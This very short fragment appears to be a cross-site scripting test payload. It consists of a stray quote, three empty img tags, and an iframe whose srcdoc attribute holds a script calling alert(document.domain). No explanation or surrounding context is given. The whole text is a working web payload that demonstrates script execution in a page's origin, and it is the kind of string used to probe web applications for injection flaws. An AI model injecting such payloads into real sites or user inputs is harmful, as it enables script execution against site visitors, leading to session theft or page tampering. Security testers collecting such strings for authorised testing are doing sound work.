"<img><img><img>
<iframe srcdoc='<script>alert(document.domain)</script>'>